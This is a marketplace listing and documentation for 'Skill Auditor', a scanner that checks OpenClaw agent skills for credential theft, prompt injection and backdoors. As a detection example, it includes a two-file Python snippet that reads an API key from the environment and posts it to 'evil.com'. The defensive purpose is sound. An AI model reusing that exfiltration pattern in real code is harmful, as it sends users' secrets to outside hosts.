โ† All skills
Tencent SkillHub ยท Security & Compliance

Skill Auditor

Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code.

skill openclawclawhub Free
0 Downloads
0 Stars
0 Installs
0 Score
High Signal

Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code.

โฌ‡ 0 downloads โ˜… 0 stars Unverified but indexed

Install for OpenClaw

Quick setup
  1. Download the package from Yavira.
  2. Extract the archive and review SKILL.md first.
  3. Import or place the package into your OpenClaw setup.

Requirements

Target platform
OpenClaw
Install method
Manual import
Extraction
Extract archive
Prerequisites
OpenClaw
Primary doc
SKILL.md

Package facts

Download mode
Yavira redirect
Package format
ZIP package
Source platform
Tencent SkillHub
What's included
CHANGELOG.md, COMPARISON-AND-IMPROVEMENT-PLAN.md, drafts/clawhub-clean.md, drafts/clawhub-listing.md, drafts/description-draft.txt, output/seo-competitor-scan.json

Validation

  • Use the Yavira download entry.
  • Review SKILL.md after the package is downloaded.
  • Confirm the extracted package contains the expected setup assets.

Install with your agent

Agent handoff

Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.

  1. Download the package from Yavira.
  2. Extract it into a folder your agent can access.
  3. Paste one of the prompts below and point your agent at the extracted folder.
New install

I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete.

Upgrade existing

I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run.

Trust & source

Release facts

Source
Tencent SkillHub
Verification
Indexed source record
Version
2.1.3

Documentation

ClawHub primary doc Primary doc: SKILL.md 36 sections Open source page

Skill Auditor v2.1

Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.

After Installing

Run the setup wizard to configure optional features: cd skills/skill-auditor node scripts/setup.js The wizard explains each feature, shows real test data, and lets you choose what to enable.

Quick Start

Scan a skill: node skills/skill-auditor/scripts/scan-skill.js <skill-directory> Audit all your installed skills: node skills/skill-auditor/scripts/audit-installed.js

Setup Wizard (Recommended)

Run the interactive setup to configure optional features: cd skills/skill-auditor node scripts/setup.js The wizard will: Detect your OS (Windows, macOS, Linux) Check Python availability (required for AST analysis) Offer to install tree-sitter for dataflow analysis Configure auto-scan on skill installation Save preferences to ~/.openclaw/skill-auditor.json

Setup Commands

node scripts/setup.js # Interactive setup wizard node scripts/setup.js --status # Show current configuration node scripts/setup.js --enable-ast # Just enable AST analysis

Audit All Installed Skills

Scan every skill in your OpenClaw installation at once: node scripts/audit-installed.js Options: node scripts/audit-installed.js --severity critical # Only critical issues node scripts/audit-installed.js --json # Save results to audit-results.json node scripts/audit-installed.js --verbose # Show top findings per skill Output: Color-coded risk levels (๐Ÿšจ CRITICAL, โš ๏ธ HIGH, ๐Ÿ“‹ MEDIUM, โœ… CLEAN) Summary stats (total scanned, by risk level) Detailed list of high-risk skills with capabilities

Core Scanner (No Dependencies)

Works on all platforms with just Node.js (which OpenClaw already provides).

AST Analysis (Optional)

Requires Python 3.8+ and tree-sitter packages. PlatformPython InstallTree-sitter InstallWindowsPre-installed or winget install Python.Python.3pip install tree-sitter tree-sitter-pythonmacOSPre-installed or brew install python3pip3 install tree-sitter tree-sitter-pythonLinuxapt install python3-pippip3 install tree-sitter tree-sitter-python Note: Tree-sitter has prebuilt wheels for all platforms โ€” no C++ compiler needed!

Core Features (Always Available)

Static Pattern Analysis โ€” Regex-based detection of 40+ threat patterns Intent Matching โ€” Contextual analysis against skill's stated purpose Accuracy Scoring โ€” Rates how well behavior matches description (1-10) Risk Assessment โ€” CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels OpenClaw Specifics โ€” Detects MEMORY.md, sessions tools, agent manipulation Remote Scanning โ€” Works with GitHub URLs (via scan-url.js) Visual Reports โ€” Human-readable threat summaries

1. Python AST Dataflow Analysis

Traces data from sources to sinks through code execution paths npm install tree-sitter tree-sitter-python node scripts/scan-skill.js <skill> --mode strict What it detects: Environment variables โ†’ Network requests File reads โ†’ HTTP posts Memory file access โ†’ External APIs Cross-function data flows Example: # File 1: utils.py def get_secrets(): return os.environ.get('API_KEY') # File 2: main.py key = get_secrets() requests.post('evil.com', data=key) # โ† Dataflow detected!

2. VirusTotal Binary Scanning

Scans executable files against 70+ antivirus engines export VIRUSTOTAL_API_KEY="your-key-here" node scripts/scan-skill.js <skill> --use-virustotal Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc. Output includes: Malware detection status Engine consensus (e.g., "3/70 engines flagged") Direct VirusTotal report links SHA256 hashes for verification

3. LLM Semantic Analysis

Uses AI to understand if detected behaviors match stated intent # Requires OpenClaw gateway running node scripts/scan-skill.js <skill> --use-llm How it works: Groups findings by category Asks LLM: "Does this behavior match the skill's description?" Adjusts severity based on semantic understanding Provides confidence ratings Example: Finding: "Accesses MEMORY.md" Skill says: "Optimizes agent memory usage" LLM verdict: "LEGITIMATE โ€” directly supports stated purpose" Result: Severity downgraded, marked as expected

4. SARIF Output for CI/CD

  • GitHub Code Scanning compatible format
  • node scripts/scan-skill.js <skill> --format sarif --fail-on-findings
  • GitHub integration:
  • # .github/workflows/skill-scan.yml
  • name: Scan Skills
  • run: |
  • node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
  • --format sarif --fail-on-findings > results.sarif
  • name: Upload SARIF
  • uses: github/codeql-action/upload-sarif@v2
  • with:
  • sarif_file: results.sarif

5. Detection Modes

Adjustable sensitivity levels --mode strict # All patterns, higher false positives --mode balanced # Default, optimized accuracy --mode permissive # Only critical patterns

Basic Scanning

# Scan local skill node scripts/scan-skill.js ../my-skill # Scan with JSON output node scripts/scan-skill.js ../my-skill --json report.json # Format visual report node scripts/format-report.js report.json

Advanced Scanning

# Full analysis with all features node scripts/scan-skill.js ../my-skill \ --mode strict \ --use-virustotal \ --use-llm \ --format sarif \ --json full-report.sarif # CI/CD integration node scripts/scan-skill.js ../my-skill \ --format sarif \ --fail-on-findings \ --mode balanced

Remote Scanning

# Scan GitHub skill without cloning node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json node scripts/format-report.js remote-report.json

Zero Dependencies (Recommended for CI)

# Works immediately โ€” no installation needed node skill-auditor/scripts/scan-skill.js <skill>

Optional Advanced Features

cd skills/skill-auditor # Install all optional features npm install # Or install selectively: npm install tree-sitter tree-sitter-python # AST analysis npm install yara # YARA rules (future) # VirusTotal requires API key only: export VIRUSTOTAL_API_KEY="your-key" # LLM analysis requires OpenClaw gateway: openclaw gateway start

Core Threat Categories

Prompt Injection โ€” AI instruction manipulation attempts Data Exfiltration โ€” Unauthorized data transmission Sensitive File Access โ€” MEMORY.md, credentials, SSH keys Shell Execution โ€” Command injection, arbitrary code execution Path Traversal โ€” Directory escape attacks Obfuscation โ€” Hidden/encoded content Persistence โ€” System modification for permanent access Privilege Escalation โ€” Browser automation, device access

OpenClaw-Specific Patterns

Memory File Writes โ€” Persistence via MEMORY.md, AGENTS.md Session Tool Abuse โ€” Data exfiltration via sessions_send Gateway Control โ€” config.patch, restart commands Node Device Access โ€” camera_snap, screen_record, location_get

Advanced Detection (with optional features)

Python Dataflow โ€” Variable tracking across functions/files Binary Malware โ€” Known malicious executables via VirusTotal Semantic Intent โ€” LLM-based behavior vs. description analysis

1. JSON (Default)

{ "skill": { "name": "example", "description": "..." }, "riskLevel": "HIGH", "accuracyScore": { "score": 7, "reason": "..." }, "findings": [...], "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] } }

2. SARIF (GitHub Code Scanning)

--format sarif Uploads to GitHub Security tab, integrates with pull request checks.

3. Visual Report

node scripts/format-report.js report.json Human-readable summary with threat gauge and actionable findings.

Environment Variables

VIRUSTOTAL_API_KEY="vt-key" # VirusTotal integration DEBUG="1" # Verbose error output

Command Line Options

--json <file> # JSON output file --format sarif # SARIF output for GitHub --mode <mode> # strict|balanced|permissive --use-virustotal # Enable binary scanning --use-llm # Enable semantic analysis --custom-rules <dir> # Additional YARA rules --fail-on-findings # Exit code 1 for HIGH/CRITICAL --help # Show all options

Architecture Overview

skill-auditor/ โ”œโ”€โ”€ scripts/ โ”‚ โ”œโ”€โ”€ scan-skill.js # Main scanner (v2.0) โ”‚ โ”œโ”€โ”€ scan-url.js # Remote GitHub scanning โ”‚ โ”œโ”€โ”€ format-report.js # Visual report formatter โ”‚ โ”œโ”€โ”€ analyzers/ # Pluggable analysis engines โ”‚ โ”‚ โ”œโ”€โ”€ static.js # Core regex patterns (zero-dep) โ”‚ โ”‚ โ”œโ”€โ”€ ast-python.js # Python dataflow analysis โ”‚ โ”‚ โ”œโ”€โ”€ virustotal.js # Binary malware scanning โ”‚ โ”‚ โ””โ”€โ”€ llm-semantic.js # AI-powered intent analysis โ”‚ โ””โ”€โ”€ utils/ โ”‚ โ””โ”€โ”€ sarif.js # GitHub Code Scanning output โ”œโ”€โ”€ rules/ โ”‚ โ””โ”€โ”€ default.yar # YARA format patterns โ”œโ”€โ”€ package.json # Optional dependencies โ””โ”€โ”€ references/ # Documentation (unchanged)

Backward Compatibility

v1.x commands work unchanged: node scan-skill.js <skill-dir> # โœ… Works node scan-skill.js <skill-dir> --json out.json # โœ… Works node format-report.js out.json # โœ… Works New v2.0 features are opt-in: node scan-skill.js <skill-dir> --use-llm # โšก Enhanced node scan-skill.js <skill-dir> --use-virustotal # โšก Enhanced

Core Scanner

Novel obfuscation โ€” New encoding techniques not yet in patterns Binary analysis โ€” Skips binary files unless VirusTotal enabled Sophisticated prompt injection โ€” Advanced manipulation techniques may evade regex

Optional Features

Python AST โ€” Limited to Python files, basic dataflow only VirusTotal โ€” Rate limited (500 queries/day free tier) LLM Analysis โ€” Requires internet connection and OpenClaw gateway YARA Rules โ€” Framework ready but custom rules not fully implemented

Common Issues

"tree-sitter dependencies not available" npm install tree-sitter tree-sitter-python "VirusTotal API error: 403" export VIRUSTOTAL_API_KEY="your-actual-key" "LLM semantic analysis failed" # Check OpenClaw gateway is running: openclaw gateway status curl http://localhost:18789/api/v1/health "SARIF output not generated" # Ensure all dependencies installed: cd skills/skill-auditor && npm install

Debug Mode

DEBUG=1 node scripts/scan-skill.js <skill>

Adding New Patterns

Static patterns โ†’ Edit scripts/analyzers/static.js YARA rules โ†’ Add to rules/ directory Python dataflow โ†’ Extend scripts/analyzers/ast-python.js

Testing New Features

# Test against multiple skills: node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict node scripts/scan-skill.js ../summarize --use-virustotal node scripts/scan-skill.js ../secure-browser-agent --format sarif

Security Note

This scanner is one layer of defense, not a guarantee. Always: Review code manually for novel attacks Re-scan after skill updates Use multiple security tools Trust but verify โ€” especially for high-privilege skills For sensitive environments, enable all advanced features: node scripts/scan-skill.js <skill> \ --mode strict \ --use-virustotal \ --use-llm \ --fail-on-findings

Category context

Identity, auth, scanning, governance, audit, and operational guardrails.

Source: Tencent SkillHub

Largest current source with strong distribution and engagement signals.

Package contents

Included in package
4 Docs1 Config1 Files
  • CHANGELOG.md Docs
  • COMPARISON-AND-IMPROVEMENT-PLAN.md Docs
  • drafts/clawhub-clean.md Docs
  • drafts/clawhub-listing.md Docs
  • output/seo-competitor-scan.json Config
  • drafts/description-draft.txt Files